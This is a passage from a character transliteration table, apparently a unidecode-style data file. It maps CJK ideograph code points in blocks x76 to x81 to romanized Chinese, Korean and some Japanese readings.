'Tam ','Fei ','Ma ','Lim ','Chi ','Ji ','Dian ','An ','Chi ','Pi ','Pi ','Min ','Ko ','Dui ','E ','Wi ',
],
'x76':[
'E ','Chwi ','Ya ','Zhu ','Cu ','Dan ','Shen ','Cong ','Kyey ','Yu ','Hou ','Phwung ','La ','Yang ','Shen ','Tu ',
'Yu ','Gua ','Wen ','Huan ','Ku ','Ha ','Yin ','Yi ','Lu ','So ','Jue ','Chi ','Xi ','Guan ','Yi ','On ',
'Chek ','Chang ','Pan ','Lei ','Lyu ','Chai ','Swu ','Hak ','Dian ','Da ','Pie ','Tan ','Zhang ','Biao ','Shen ','Cok ',
'La ','Yi ','Zong ','Chwu ','Cang ','Zhai ','Sou ','Suo ','Que ','Diao ','Lou ','Lwu ','Mo ','Jin ','Yin ','Ying ',
'Huang ','Fu ','Lyo ','Lyung ','Qiao ','Liu ','Lo ','Xian ','Phyey ','Tan ','Yin ','He ','Am ','Ban ','Kan ','Guan ',
'Guai ','Nong ','Yu ','Wei ','Yi ','Ong ','Pyek ','Lei ','Lye ','Shu ','Dan ','Lin ','Cen ','Lin ','Lai ','Bie ',
'Ji ','Chi ','Yang ','Xian ','Cel ','Cing ','Mak6','Lyek ','Kwak ','La ','Shaku ','Dian ','Sen ','Yeng ','Un ','Kwu ',
'Yong ','Than ','Cen ','Luo ','Luan ','Luan ','Bo ','','Kyey ','Po ','Pal ','Tung ','Pal ','Payk ','Payk ','Qie ',
'Kup ','Co ','Zao ','Mo ','Cek ','Pa ','Kay ','Hwang ','Gui ','Ci ','Ling ','Ko ','Mo ','Ji ','Kyo ','Peng ',
'Ko ','Ai ','E ','Ho ','Han ','Bi ','Hwan ','Chou ','Qian ','Xi ','Ay ','Hyo ','Ho ','Huang ','Ho ','Ze ',
'Cui ','Hao ','Xiao ','Ye ','Pha ','Hao ','Jiao ','Ai ','Xing ','Huang ','Li ','Piao ','Hak ','Jiao ','Phi ','Gan ',
'Pao ','Zhou ','Jun ','Qiu ','Cwun ','Que ','Sa ','Gu ','Kwun ','Jun ','Chwu ','Zha ','Gu ','Zhan ','Du ','Myeng ',
'Qi ','Ying ','Wu ','Pay ','Zhao ','Zhong ','Pwun ','He ','Yeng ','He ','Ik ','Bo ','Wan ','Hap ','Ang ','Zhan ',
'Yan ','Jian ','Hap ','Yu ','Hoy ','Fan ','Kay ','Dao ','Pan ','Po ','Qiu ','Seng ','To ','Lu ','Can ','Mayng ',
'Li ','Cin ','Xu ','Kam ','Pan ','Kwan ','An ','Lo ','Shu ','Zhou ','Thang ','An ','Ko ','Li ','Mok ','Ding ',
'Gan ','Yu ','Mayng ','Mang ','Cik ','Qi ','Ruan ','Tian ','Sang ','Swun ','Xin ','Hyey ','Pan ','Feng ','Swun ','Min ',
],
'x77':[
'Ming ','Seng ','Shi ','Yun ','Myen ','Pan ','Fang ','Myo ','Tham ','Mi ','Mo ','Kan ','Hyen ','Ou ','Shi ','Yang ',
'Zheng ','Yao ','Shen ','Huo ','Da ','Zhen ','Kuang ','Ju ','Shen ','Chi ','Sayng ','May ','Mo ','Zhu ','Cin ','Zhen ',
'Myen ','Di ','Yuan ','Die ','Yi ','Ca ','Ca ','Chao ','Cap ','Hyen ','Bing ','Mi ','Long ','Sui ','Dong ','Mi ',
'Die ','Yi ','Er ','Ming ','Swun ','Chi ','Kuang ','Kwen ','Mo ','Zhen ','Co ','Yang ','An ','Mo ','Cwung ','Mai ',
'Chak ','Zheng ','Mei ','Jun ','Shao ','Han ','Hwan ','Cey ','Cheng ','Cuo ','Juan ','E ','Wan ','Hyen ','Xi ','Kun ',
'Lai ','Jian ','Sem ','Tian ','Hun ','Wan ','Ling ','Shi ','Qiong ','Lie ','Ay ','Ceng ','Zheng ','Li ','Lai ','Swu ',
'Kwen ','Swu ','Swu ','Tok ','Bi ','Pi ','Mok ','Hun ','Yey ','Lu ','Yi ','Chep ','Chay ','Zhou ','Yu ','Hun ',
'Ma ','Xia ','Xing ','Xi ','Gun ','','Chun ','Ken ','Mei ','To ','Hou ','Xuan ','Ti ','Kyu ','Ko ','Yey ',
'Mao ','Xu ','Fa ','Wen ','Miao ','Chou ','Kui ','Mi ','Weng ','Kou ','Dang ','Cin ','Ke ','Swu ','Hal ','Qiong ',
'Mao ','Myeng ','Man ','Shui ','Ze ','Zhang ','Yey ','Diao ','Ou ','Mak ','Shun ','Cong ','Lou ','Chi ','Man ','Piao ',
'Tang ','Ji ','Mong ','','Run ','Pyel ','Xi ','Qiao ','Pu ','Zhu ','Cing ','Shen ','Swun ','Lyo ','Che ','Xian ',
'Kam ','Ye ','Xu ','Tong ','Mou ','Lin ','Kui ','Xian ','Ye ','Ay ','Hui ','Chem ','Kem ','Ko ','Zhao ','Kwu ',
'Wei ','Chou ','Sao ','Nyeng ','Xun ','Yao ','Huo ','Mong ','Mian ','Pin ','Mian ','Li ','Kuang ','Hwak ','Xuan ','Mian ',
'Huo ','Lu ','Meng ','Long ','Guan ','Man ','Xi ','Chok ','Tang ','Kem ','Chok ','Mo ','Kung ','Lin ','Yul ','Shuo ',
'Ce ','Hwak ','Si ','Uy ','Shen ','Ci ','Hou ','Sin ','Ying ','Kwu ','Zhou ','Jiao ','Cuo ','Tan ','Way ','Kyo ',
'Cung ','Huo ','Bai ','Sek ','Ding ','Qi ','Ji ','Zi ','Gan ','Wu ','Thak ','Kol ','Kang ','Sek ','Fan ','Kuang ',
],
'x78':[
'Dang ','Ma ','Sa ','Dan ','Jue ','Li ','Fu ','Min ','Nuo ','Huo ','Kang ','Zhi ','Chey ','Kan ','Jie ','Pwun ',
'E ','A ','Pi ','Zhe ','Yen ','Sway ','Zhuan ','Che ','Dun ','Pan ','Yan ','','Feng ','Fa ','Mo ','Zha ',
'Qu ','Yu ','La ','Tuo ','Tuo ','Ci ','Chay ','Chim ','Ai ','Fei ','Mu ','Zhu ','Lip ','Phyem ','Nu ','Ping ',
'Phayng ','Ling ','Pho ','Le ','Pha ','Bo ','Po ','Shen ','Za ','Nuo ','Lye ','Long ','Tong ','','Li ','Kou ',
'Chu ','Keng ','Quan ','Cwu ','Kuang ','Kyu ','E ','Nao ','Jia ','Lu ','Wei ','Ai ','Luo ','Ken ','Xing ','Yen ',
'Tong ','Peng ','Xi ','','Hong ','Shuo ','Xia ','Qiao ','','Wei ','Qiao ','','Kayng ','Cho ','Que ','Chan ',
'Lang ','Hong ','Yu ','Xiao ','Xia ','Mang ','Long ','Yong ','Cha ','Che ','E ','Lyu ','Kyeng ','Mang ','Hak ','Yen ',
'Sha ','Kun ','Yu ','','Kaki ','Lu ','Chen ','Jian ','Nue ','Song ','Zhuo ','Keng ','Pwung ','Yan ','Zhui ','Kong ',
'Ceng ','Ki ','Zong ','Qing ','Lin ','Jun ','Bo ','Ceng ','Min ','Diao ','Jian ','He ','Lok ','Ay ','Sway ','Cak ',
'Ling ','Pi ','Yin ','Tay ','Wu ','Qi ','Lun ','Wan ','Dian ','Gang ','Bei ','Qi ','Chen ','Ruan ','Yan ','Sel ',
'Ding ','Du ','Tuo ','Kal ','Yeng ','Bian ','Ke ','Pyek ','Oy ','Sek ','Zhen ','Duan ','Xia ','Thang ','Ti ','Nao ',
'Peng ','Jian ','Di ','Tan ','Cha ','Seki ','Qi ','','Feng ','Xuan ','Hwak ','Hwak ','Ma ','Gong ','Nyen ','Su ',
'E ','Ca ','Liu ','Si ','Tang ','Pang ','Hua ','Pi ','Oy ','Sang ','Loy ','Cha ','Zhen ','Xia ','Kyey ','Lyem ',
'Pan ','Ay ','Yun ','Dui ','Chayk ','Kay ','La ','','Qing ','Gun ','Cen ','Chan ','Qi ','Ao ','Peng ','Lu ',
'Nyo ','Kan ','Qiang ','Chen ','Yin ','Lei ','Biao ','Cek ','Ma ','Qi ','Choy ','Zong ','Kyeng ','Chuo ','','Ki ',
'Shan ','Lao ','Qu ','Zeng ','Tung ','Kan ','Xi ','Lin ','Ding ','Dian ','Kwang ','Pan ','Cap ','Kyo ','Di ','Li ',
],
'x79':[
'Kan ','Cho ','','Zhang ','Qiao ','Dun ','Xian ','Yu ','Zhui ','He ','Huo ','Zhai ','Loy ','Ke ','Cho ','Kup ',
'Que ','Tang ','Uy ','Jiang ','Pi ','Pi ','Ye ','Pin ','Qi ','Ay ','Kai ','Jian ','Yu ','Ruan ','Meng ','Pao ',
'Ci ','Bo ','','Mie ','Ca ','Xian ','Kwang ','Loy ','Lei ','Zhi ','Lye ','Lyek ','Pan ','Hwak ','Pao ','Ying ',
'Li ','Long ','Long ','Mo ','Bo ','Shuang ','Guan ','Lan ','Zan ','Yan ','Si ','Shi ','Lyey ','Reng ','Sa ','Yue ',
'Sa ','Ki ','Ta ','Ma ','Xie ','Yo ','Chen ','Ki ','Ki ','Ci ','Phayng ','Dui ','Zhong ','','Yi ','Shi ',
'Wu ','Zhi ','Tiao ','Pwul ','Pwu ','Pi ','Co ','Ci ','Suan ','Mei ','Co ','Ke ','Ho ','Chwuk ','Sin ','Swu ',
'Sa ','Chai ','Ni ','Lu ','Yu ','Sang ','Wu ','Co ','Phyo ','Zhu ','Gui ','Xia ','Zhi ','Cey ','Gao ','Zhen ',
'Gao ','Shui ','Jin ','Chen ','Gai ','Kun ','Di ','To ','Huo ','Tao ','Ki ','Gu ','Kwan ','Zui ','Ling ','Lok ',
'Phwum ','Kum ','Dao ','Zhi ','Lu ','Sen ','Bei ','Zhe ','Hui ','You ','Kyey ','In ','Zi ','Hwa ','Ceng ','Pok ',
'Yuan ','Wu ','Xian ','Yang ','Cey ','Yi ','Mei ','Si ','Di ','','Zhuo ','Zhen ','Yong ','Cik ','Gao ','Tang ',
'Si ','Ma ','Ta ','','Xuan ','Qi ','E ','Huy ','Ki ','Si ','Sen ','Tam ','Kuai ','Sui ','Lyey ','Nong ',
'Ni ','To ','Li ','Yang ','Yak ','Ti ','Zan ','Lei ','Rou ','Wu ','Ong ','Li ','Xie ','Kum ','Hwa ','Tok ',
'Swu ','Sa ','Ren ','Tok ','Zi ','Cha ','Kan ','Yi ','Xian ','Pyeng ','Nyen ','Chwu ','Qiu ','Chwung ','Fen ','Hao ',
'Yun ','Kwa ','Cho ','Zhi ','Geng ','Pi ','Ci ','Yu ','Pi ','Ku ','Ban ','Pi ','Ni ','Li ','You ','Co ',
'Pi ','Ba ','Lyeng ','Mal ','Ching ','Nian ','Cin ','Ang ','Zuo ','Cil ','Ci ','Chwul ','Ke ','Zi ','Huo ','Ji ',
'Ching ','Tong ','Zhi ','Huo ','He ','Yin ','Zi ','Zhi ','Kal ','Ren ','Du ','I ','Zhu ','Hui ','Nong ','Fu ',
],
'x7a':[
'Huy ','Ko ','Lang ','Fu ','Ze ','Sey ','Lu ','Kun ','Kan ','Geng ','Cey ','Ceng ','To ','Cho ','Sey ','Ya ',
'Lun ','Lu ','Gu ','Zuo ','Im ','Zhun ','Bang ','Phay ','Ji ','Cik ','Chi ','Kun ','Lung ','Peng ','Kwa ','Phwum ',
'Co ','Zu ','Yu ','Su ','Lue ','','Yi ','Sel ','Bian ','Ji ','Fu ','Bi ','Nuo ','Jie ','Cong ','Zong ',
'Xu ','Ching ','To ','On ','Lian ','Zi ','Wuk ','Cik ','Xu ','Cin ','Zhi ','To ','Ka ','Kyey ','Gao ','Ko ',
'Kok ','Rong ','Sui ','You ','Ji ','Kang ','Mok ','Shan ','Men ','Chi ','Ji ','Lu ','So ','Cek ','Yeng ','On ',
'Chwu ','Se ','','Yi ','Huang ','Qie ','Ji ','Swu ','Xiao ','Pu ','Jiao ','Zhuo ','Tong ','Sai ','Lu ','Sui ',
'Nong ','Sayk ','Yey ','Rang ','Nuo ','Yu ','','Ji ','Tui ','On ','Cheng ','Hwak ','Gong ','Lu ','Biao ','',
'Yang ','Zhuo ','Li ','Zan ','Hyel ','Al ','Kwu ','Qiong ','Xi ','Kwung ','Kong ','Yu ','Sen ','Ceng ','Yo ','Chen ',
'Twun ','Tol ','Lo ','Cel ','Chak ','Yo ','Phyem ','Bao ','Yo ','Bing ','Wa ','Zhu ','Jiao ','Qiao ','Diao ','Wu ',
'Gui ','Yao ','Cil ','Chang ','Yao ','Co ','Kyo ','Chang ','Kwun ','Xiao ','Cheng ','Kwu ','Cuan ','Wo ','Dan ','Kwul ',
'Kwa ','Zhui ','Xu ','Sol ','','Kui ','Dou ','','Yin ','Wa ','Wa ','Ya ','Yu ','Ju ','Kwung ','Yo ',
'Yao ','Tiao ','Chao ','Yu ','Tian ','Diao ','Kwu ','Liao ','Xi ','O ','Kyu ','Chang ','Zhao ','Fun ','Kwan ','Lyung ',
'Cheng ','Cui ','Piao ','Zao ','Chan ','Kyu ','Qiong ','Twu ','Co ','Long ','Cel ','Lip ','Chu ','Dekaritto ','Fou ','Kirorittoru ',
'Chu ','Hong ','Qi ','Miririttoru ','','Deshiritto ','Shu ','Myo ','Ju ','Cham ','Zhu ','Ling ','Lyong ','Pyeng ','Jing ','Kyeng ',
'Cang ','Hekutoritto ','Sa ','Cwun ','Hong ','Tong ','Song ','Jing ','Diao ','Yi ','Swu ','Jing ','Qu ','Kal ','Ping ','Tan ',
'Shao ','Zhuan ','Ceng ','Deng ','Cui ','Huai ','Kyeng ','Kan ','Kyeng ','Cwuk ','Chwuk ','Le ','Peng ','Wu ','Chi ','Kan ',
],
'x7b':[
'Mang ','Zhu ','Utsubo ','Du ','Ji ','Xiao ','Pha ','Suan ','Kup ','Zhen ','Co ','Swun ','A ','Zhui ','Yuan ','Hol ',
'Gang ','So ','Kum ','Pi ','Bi ','Jian ','Yi ','Dong ','Cem ','Sayng ','Xia ','Cek ','Zhu ','Na ','Thay ','Gu ',
'Lip ','Qie ','Min ','Bao ','Tiao ','Sa ','Pwu ','Chayk ','Pwun ','Pei ','Tal ','Zi ','Cey ','Lyeng ','Ze ','No ',
'Fu ','Gou ','Fan ','Ka ','Ge ','Pem ','Shi ','Mao ','Po ','Sey ','Jian ','Kong ','Long ','Souke ','Bian ','Luo ',
'Gui ','Qu ','Chi ','Yin ','Yao ','Sen ','Phil ','Qiong ','Kwal ','Tung ','Jiao ','Kun ','Cen ','Swun ','Ru ','Pel ',
'Kwang ','Chwuk ','Thong ','Kyey ','Tap ','Xing ','Chayk ','Zhong ','Kou ','Lai ','Bi ','Shai ','Dang ','Zheng ','Ce ','Pwu ',
'Kyun ','Tu ','Pa ','Li ','Lang ','Ke ','Kwan ','Kyen ','Han ','Thong ','Xia ','Zhi ','Seng ','Suan ','Se ','Zhu ',
'Zuo ','So ','Shao ','Ceng ','Ce ','Yen ','Gao ','Kuai ','Gan ','Chou ','Kyou ','Gang ','Yun ','O ','Qian ','So ',
'Jian ','Pu ','Lai ','Zou ','Bi ','Bi ','Bi ','Kay ','Chi ','Guai ','Yu ','Cen ','Zhao ','Ko ','Ho ','Cayng ',
'Jing ','Sha ','Chwu ','Lu ','Pak ','Ki ','Lin ','San ','Jun ','Pok ','Cha ','Gu ','Kong ','Kyem ','Quan ','Jun ',
'Chwu ','Kwan ','Yuan ','Ce ','Ju ','Bo ','Ze ','Qie ','Tuo ','Luo ','Tan ','Xiao ','Ruo ','Cen ','','Bian ',
'Sun ','Sang ','Xian ','Ping ','Cam ','Sheng ','Hu ','Shi ','Ce ','Yue ','Chun ','Lu ','Wu ','Dong ','So ','Ji ',
'Cel ','Hwang ','Xing ','Mei ','Pem ','Chui ','Cen ','Phyen ','Feng ','Chwuk ','Hong ','Hyep ','Hwu ','Qiu ','Miao ','Qian ',
'','Kui ','Sik ','Lou ','Wun ','He ','Tang ','Yue ','Chou ','Ko ','Fei ','Yak ','Zheng ','Kwu ','Nie ','Qian ',
'So ','Chan ','Gong ','Pang ','Tok ','Lyul ','Pi ','Zhuo ','Chu ','Sa ','Ci ','Zhu ','Qiang ','Long ','Lan ','Jian ',
'Bu ','Li ','Hui ','Phil ','Di ','Cong ','Yan ','Pong ','Sen ','Zhuan ','Pai ','Piao ','Dou ','Yu ','Myel ','Zhuan ',
],
'x7c':[
'Chayk ','Xi ','Guo ','Yi ','Hu ','Chan ','Kou ','Cok ','Ping ','Chwu ','Ji ','Kwey ','Su ','Lou ','Zha ','Lok ',
'Nian ','Sa ','Chan ','Sen ','Sa ','Le ','Duan ','Yana ','So ','Bo ','Mi ','Si ','Dang ','Liao ','Tan ','Cem ',
'Po ','Kan ','Min ','Kui ','Dai ','Jiao ','Deng ','Hwang ','Sun ','Lao ','Cam ','So ','Lu ','Shi ','Zan ','',
'Pai ','Hata ','Pai ','Gan ','Ju ','Du ','Lu ','Chem ','Pha ','Dang ','Sai ','Ke ','Long ','Chem ','Lyem ','Pwu ',
'Zhou ','Lai ','','Lam ','Kui ','Yu ','Yue ','Hao ','Zhen ','Tai ','Ti ','Mi ','Cwu ','Cek ','','Hata ',
'Tung ','Zhuan ','Cwu ','Fan ','Swu ','Zhou ','Sen ','Zhuo ','Teng ','Lu ','Lu ','Cen ','Thak ','Ying ','Yu ','Loy ',
'Long ','Shinshi ','Lian ','Lan ','Chem ','Yak ','Zhong ','Ke ','Lian ','Pyen ','Duan ','Zuan ','Li ','Si ','Luo ','Ying ',
'Yue ','Zhuo ','Yu ','Mi ','Di ','Fan ','Shen ','Zhe ','Shen ','Nu ','Xie ','Lyu ','Xian ','Zi ','In ','Cun ',
'','Chen ','Kume ','Pi ','Ban ','Wu ','Sha ','Kang ','Rou ','Pwun ','Bi ','Cui ','','Mo ','Chi ','Ta ',
'Ro ','Ba ','Lip ','Gan ','Ju ','Pak ','Mo ','Co ','Cem ','Zhou ','Li ','Su ','Tiao ','Li ','Xi ','Sok ',
'Hong ','Tong ','Ca ','Ce ','Wel ','Cwuk ','Lin ','Cang ','Payk ','','Fen ','Ji ','','Sukumo ','Lyang ','Xian ',
'Fu ','Lyang ','Chan ','Kayng ','Li ','Wel ','Lu ','Ju ','Qi ','Swu ','Bai ','Zhang ','Lin ','Cong ','Ceng ','Guo ',
'Kouji ','San ','San ','Tang ','Bian ','Yu ','Myen ','Hou ','Xu ','Zong ','Ho ','Jian ','Zan ','Ci ','Li ','Xie ',
'Fu ','Ni ','Bei ','Gu ','Xiu ','Ko ','Tang ','Kwu ','Sukumo ','Co ','Cang ','Tang ','Mi ','Sam ','Pwun ','Co ',
'Kang ','Jiang ','Mo ','San ','Can ','Na ','Xi ','Lyang ','Jiang ','Kuai ','Bo ','Huan ','','Zong ','Xian ','Na ',
'Tan ','Nie ','Lye ','Zuo ','Cek ','Nie ','Co ','Lan ','Sa ','Si ','Kyu ','Kyey ','Gong ','Zheng ','Kyu ','You ',
],
'x7d':[
'Ki ','Cha ','Cwu ','Swun ','Yak ','Hong ','Wu ','Hul ','Hwan ','Ren ','Mwun ','Mwun ','Qiu ','Nap ','Zi ','Tou ',
'Nyu ','Fou ','Jie ','Se ','Swun ','Pi ','Yin ','Sa ','Koyng ','Ci ','Kup ','Pwun ','Wun ','Ren ','Dan ','Jin ',
'So ','Pang ','Sayk ','Cui ','Jiu ','Zha ','Ha ','Jin ','Fu ','Zhi ','Ci ','Ca ','Cwu ','Hong ','Chal ','Lwu ',
'Sey ','Pwul ','Sel ','Sin ','Bei ','Ce ','Qu ','Ling ','Zhu ','So ','Kam ','Yang ','Fu ','Tuo ','Zhen ','Dai ',
'Chu ','Shi ','Cong ','Hyen ','Co ','Kyeng ','Pan ','Ju ','Mo ','Swul ','Zui ','Kou ','Kyeng ','Im ','Heng ','Xie ',
'Kyel ','Zhu ','Chou ','Gua ','Bai ','Cel ','Kwang ','Hu ','Ci ','Hwan ','Geng ','Co ','Hyel ','Ku ','Kyo ','Quan ',
'Gai ','Lak ','Hyen ','Pyeng ','Xian ','Fu ','Kup ','Tong ','Yung ','Co ','In ','Lei ','Xie ','Quan ','Se ','Gai ',
'Cil ','Thong ','Sa ','Kang ','Xiang ','Hui ','Cel ','Zhi ','Jian ','Kyen ','Chi ','Mian ','Zhen ','Lu ','Cheng ','Kwu ',
'Shu ','Bang ','Tong ','Cho ','Wan ','Qin ','Kyeng ','Xiu ','Ti ','Xiu ','Xie ','Hong ','Xi ','Fu ','Ceng ','Yu ',
'Dui ','Kun ','Fu ','Kyeng ','Hu ','Zhi ','Yan ','Jiong ','Pong ','Kyey ','Sok ','Kase ','Cong ','Lin ','Duo ','Li ',
'Lok ','Liang ','Cwu ','Kwen ','Shao ','Ki ','Ki ','Cwun ','Qi ','Wen ','Qian ','Sen ','Swu ','Yu ','Kyey ','Tao ',
'Kwan ','Kang ','Mang ','Pwung ','Chel ','Chay ','Guo ','Cui ','Lyun ','Liu ','Ki ','Than ','Bei ','Cak ','Lung ','Myen ',
'Qi ','Qie ','Tan ','Zong ','Kon ','Zou ','Yi ','Chi ','Xing ','Liang ','Kin ','Pi ','Yu ','Min ','Yu ','Chong ',
'Fan ','Lok ','Se ','Ying ','Zhang ','Kasuri ','Se ','Sang ','Ham ','Ke ','Sen ','Ruan ','Myen ','Cip ','Tan ','Zhong ',
'Chey ','Min ','Miao ','Yen ','Xie ','Bao ','Si ','Qiu ','Phyen ','Wan ','Geng ','Cong ','Myen ','Wei ','Fu ','Wi ',
'Yu ','Gou ','Myo ','Xie ','Lyen ','Zong ','Phyen ','Yun ','Yin ','Cey ','Gua ','Chi ','On ','Cheng ','Chan ','Dai ',
],
'x7e':[
'Xia ','Yen ','Chong ','Xu ','Jou ','Odoshi ','Geng ','Sen ','Yeng ','Cin ','Ayk ','Chwu ','Ni ','Bang ','Gu ','Pan ',
'Chwu ','Kyem ','Cuo ','Quan ','Shuang ','On ','Xia ','Choy ','Kyey ','Rong ','Tao ','Pak ','Yun ','Cin ','Ho ','Yo ',
'Kok ','Cay ','Tung ','Hyen ','Su ','Zhen ','Cong ','Tao ','Kou ','Cai ','Bi ','Pong ','Cu ','Li ','Chwuk ','Yen ',
'Xi ','Cong ','Lyu ','Kyen ','Kyen ','Man ','Zhi ','Lwu ','Mo ','Phyo ','Lian ','Mi ','Xuan ','Chong ','Cek ','Shan ',
'Sui ','Pen ','Shuai ','Pwung ','Yey ','So ','Mwu ','Yo ','Kang ','Hun ','Sem ','Kyey ','Zung ','Swu ','Ran ','Xuan ',
'Sey ','Qiao ','Cung ','Zuo ','Cik ','Sen ','San ','Lin ','Yu ','Pen ','Lyo ','Chuo ','Zun ','Jian ','Yo ','Chan ',
'Rui ','Swu ','Kwey ','Hua ','Chan ','Xi ','Kang ','Un ','Da ','Sung ','Hoy ','Kyey ','Se ','Kyen ','Jiang ','Hyen ',
'Co ','Cong ','Jie ','Jiao ','Bo ','Chan ','Ek ','Nao ','Sui ','Yek ','Shai ','Xu ','Kyey ','Pin ','Kyen ','Lan ',
'Pu ','Hwun ','Chan ','Qi ','Peng ','Li ','Mo ','Loy ','Hil ','Chan ','Kwang ','You ','Sok ','Lyu ','Xian ','Cen ',
'Kou ','Lu ','Chan ','Yeng ','Cay ','Xiang ','Sem ','Zui ','Chan ','Luo ','Xi ','To ','Lam ','Lei ','Lian ','Si ',
'Jiu ','Yu ','Hong ','Zhou ','Xian ','He ','Yue ','Ji ','Wan ','Kuang ','Ji ','Ren ','Wei ','Yun ','Koyng ','Chun ',
'Pi ','Sha ','Gang ','Na ','Ren ','Zong ','Lun ','Fen ','Zhi ','Wen ','Fang ','Ce ','Yin ','Niu ','Shu ','Xian ',
'Gan ','Xie ','Fu ','Lian ','Zu ','Shen ','Xi ','Zhi ','Zhong ','Zhou ','Ban ','Fu ','Zhuo ','Shao ','Yi ','Jing ',
'Dai ','Bang ','Rong ','Jie ','Ku ','Rao ','Die ','Heng ','Hui ','Gei ','Xuan ','Jiang ','Luo ','Jue ','Jiao ','Tong ',
'Geng ','Xiao ','Juan ','Xiu ','Xi ','Sui ','Tao ','Ji ','Ti ','Ji ','Xu ','Ling ','Ying ','Xu ','Qi ','Fei ',
'Chuo ','Zhang ','Gun ','Sheng ','Wei ','Mian ','Shou ','Beng ','Chou ','Tao ','Liu ','Quan ','Zong ','Zhan ','Wan ','Lu ',
],
'x7f':[
'Zhui ','Zi ','Ke ','Xiang ','Jian ','Mian ','Lan ','Ti ','Miao ','Qi ','On ','Hui ','Si ','Duo ','Duan ','Bian ',
'Sen ','Gou ','Zhui ','Huan ','Di ','Lu ','Bian ','Min ','Yuan ','Jin ','Fu ','Ru ','Zhen ','Feng ','Shuai ','Gao ',
'Chan ','Li ','Yi ','Jian ','Bin ','Piao ','Man ','Lei ','Ying ','Suo ','Mou ','Sao ','Xie ','Liao ','Shan ','Zeng ',
'Jiang ','Qian ','Zao ','Huan ','Jiao ','Zuan ','Pwu ','Sa ','Hang ','Fou ','Kyel ','Fou ','Ketsu ','Bo ','Pyeng ','Hang ',
'Diu6','Gang ','Ying ','Ayng ','Kyeng ','Ha ','Guan ','Cwun ','Tan ','Cang ','Qi ','Ong ','Ayng ','Loy ','Tam ','Lu ',
'Kwan ','Wang ','Wang ','Gang ','Mang ','Han ','','Luo ','Pwu ','Mi ','Fa ','Gu ','Zhu ','Ce ','Mao ','Ko ',
'Min ','Kang ','Ba ','Kway ','Ti ','Juan ','Pwu ','Lin ','Em ','Zhao ','Coy ','Kway ','Zhuo ','Yu ','Chi ','An ',
'Pel ','Nan ','Se ','Si ','Pi ','May ','Liu ','Pha ','Pel ','Li ','Chao ','Wei ','Phil ','Kyey ','Cung ','Tong ',
'Liu ','Ji ','Kyen ','Mi ','Zhao ','La ','Pi ','Ki ','Ki ','Luan ','Yang ','Mi ','Kang ','Ta ','Mi ','Yang ',
'You ','You ','Fen ','Ba ','Ko ','Yang ','Ko ','Kang ','Cang ','Gao ','Lyeng ','Yi ','Zhu ','Ce ','Swu ','Qian ',
'Yi ','Sen ','Rong ','Qun ','Kwun ','Qiang ','Huan ','Suo ','Sen ','Uy ','You ','Kang ','Xian ','Yu ','Geng ','Kal ',
'Tang ','Yuan ','Huy ','Fan ','Shan ','Fen ','Cen ','Lian ','Li ','Kayng ','Nou ','Qiang ','Chan ','Wu ','Gong ','Yi ',
'Chong ','Ong ','Fen ','Hong ','Chi ','Si ','Cui ','Fu ','Xia ','Pen ','Ik ','La ','Ik ','Pi ','Lyeng ','Liu ',
'Zhi ','Qu ','Sup ','Xie ','Sang ','Hup ','Hup ','Qi ','Qiao ','Hui ','Hwi ','So ','Se ','Hong ','Jiang ','Cek ',
'Chwi ','Pi ','Tao ','Sap ','Si ','Zhu ','Cen ','Xuan ','Shi ','Phyen ','Zong ','Wan ','Hwi ','Hou ','Hayk ','He ',
'Han ','Ko ','Piao ','Yey ','Lian ','Qu ','','Lin ','Pen ','Kyo ','Ko ','Pen ','Ik ','Hui ','Hyen ','Dao ',
],
'x80':[
'Yo ','Lo ','','Ko ','Mo ','Ca ','Ki ','Kwu ','Kwu ','Kwu ','Die ','Die ','I ','Shua ','Ruan ','Er ',
'Nay ','Tan ','Loy ','Ting ','Ca ','Kyeng ','Cho ','Mo ','Wun ','Pha ','Pi ','Chi ','Si ','Chu ','Ka ','Ju ',
'He ','Se ','Lao ','Lun ','Ji ','Tang ','Wu ','Lou ','Nwu ','Jiang ','Pang ','Ze ','Lwu ','Ki ','Lao ','Huo ',
'Wu ','Mo ','Huai ','I ','Zhe ','Ting ','Ya ','Da ','Song ','Qin ','Yun ','Chi ','Dan ','Tham ','Hong ','Kyeng ',
'Zhi ','','Nie ','Tam ','Zhen ','Che ','Lyeng ','Zheng ','You ','Wa ','Lyo ','Long ','Zhi ','Ning ','Tiao ','Er ',
'Ya ','Die ','Kwal ','','Lian ','Ho ','Seng ','Lie ','Ping ','Jing ','Chwi ','Bi ','Di ','Guo ','Mwun ','Xu ',
'Ping ','Cong ','Shikato ','','Ting ','Yu ','Cong ','Kui ','Ren ','Kui ','Cong ','Lyen ','Weng ','Kui ','Lyen ','Lyen ',
'Chong ','O ','Seng ','Yong ','Cheng ','Oy ','Sep ','Cik ','Dan ','Ning ','qie ','Ji ','Cheng ','Cheng ','Long ','Yul ',
'Yu ','Zhao ','Si ','Su ','I ','Swuk ','Sa ','Co ','Zhao ','Yuk ','Yi ','Luk ','Ki ','Qiu ','Ken ','Cao ',
'Ge ','Di ','Huan ','Hwang ','Yi ','Ren ','Cho ','Ru ','Cwu ','Yuan ','Twu ','Hang ','Rong ','Kan ','Cha ','Wo ',
'Chang ','Ko ','Ci ','Han ','Fu ','Pi ','Pwun ','Pei ','Pang ','Kyen ','Pang ','Swun ','You ','Nwul ','Hang ','Kung ',
'Ran ','Koyng ','Yuk ','Wen ','Hyo ','Ki ','Pi ','Qian ','Xi ','Xi ','Phyey ','Ken ','Jing ','Tai ','Shen ','Zhong ',
'Zhang ','Xie ','Shen ','Wi ','Cwu ','Die ','Tan ','Fei ','Ba ','Bo ','Kwu ','Tian ','Pay ','Gua ','Thay ','Zi ',
'Ku ','Zhi ','Ni ','Ping ','Zi ','Pwu ','Pan ','Zhen ','Xian ','Co ','Pay ','Kap ','Sheng ','Zhi ','Pho ','Mu ',
'Ke ','Ho ','Ke ','Yi ','Yun ','Se ','Yang ','Long ','Dong ','Ka ','Lu ','Jing ','Nu ','Yan ','Pang ','Kwa ',
'Yi ','Kwang ','Hai ','Ge ','Tong ','Zhi ','Xiao ','Hyung ','Hyung ','Er ','E ','Xing ','Pyen ','Nung ','Ca ','',
],
'x81':[
'Cheng ','Tiao ','Ci ','Cui ','Mei ','Hyep ','Chwi ','Hyep ','Mayk ','Mayk ','Chek ','Kyou ','Nin ','Kuai ','Sa ','Zang ',
'Qi ','Nao ','Mi ','Nong ','Luan ','Wan ','Pal ','Wen ','Wan ','Qiu ','Kak ','Kyeng ','Rou ','Heng ','Cuo ','Lie ',
'Shan ','Ting ','Mei ','Swun ','Sin ','Qian ','Te ','Choy ','Cu ','Swu ','Xin ','Thal ','Pao ','Cheng ','Nei ','Pho ',
